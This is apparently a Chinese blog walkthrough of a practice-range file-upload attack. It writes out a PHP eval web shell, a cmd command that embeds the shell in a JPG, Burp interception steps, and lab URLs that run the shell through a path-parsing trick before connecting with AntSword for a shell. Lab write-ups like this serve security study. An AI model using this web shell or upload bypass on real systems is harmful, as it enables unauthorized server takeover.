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首先准备一个木马

<?php eval($_REQUEST[a]);

REQUEST：请求

首先是进行图片马的制作

使用windows中的cmd ：copy  1.jpg/b+.1.txt  2.jpg（有的可能被检查出病毒需要将防火墙关闭）

用记事本查看图片是否写入马

上传图片的过程进行抓包，点击保存去burp进行观看

将图片进行base64 的解码

https://blog.csdn.net/weixin_47757121
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_47757121/article/details/117748414


将burp抓到的吗进行替换，将图片的信息替换成base64解码出来的文件信息，然后进行放包

在靶场进行php数据库的爆破，打开新建标签页打开图像

http://59.63.200.79:8022/catf/userhead/（为一会儿爆数据库的路径）

http://59.63.200.79:8022/catf/userhead/2.png/.php?a=phpinfo();（爆php的数据库，2.png为自己上传的图片名
字）

http://59.63.200.79:8022/catf/userhead/4.png
http://59.63.200.79:8022/catf/userhead/2.png/.php?a=phpinfo%2528%2529;


使用蚁剑进行链接获取shell

http://59.63.200.79:8022/catf/userhead/2.png/.php

http://59.63.200.79:8022/catf/userhead/2.png/.php
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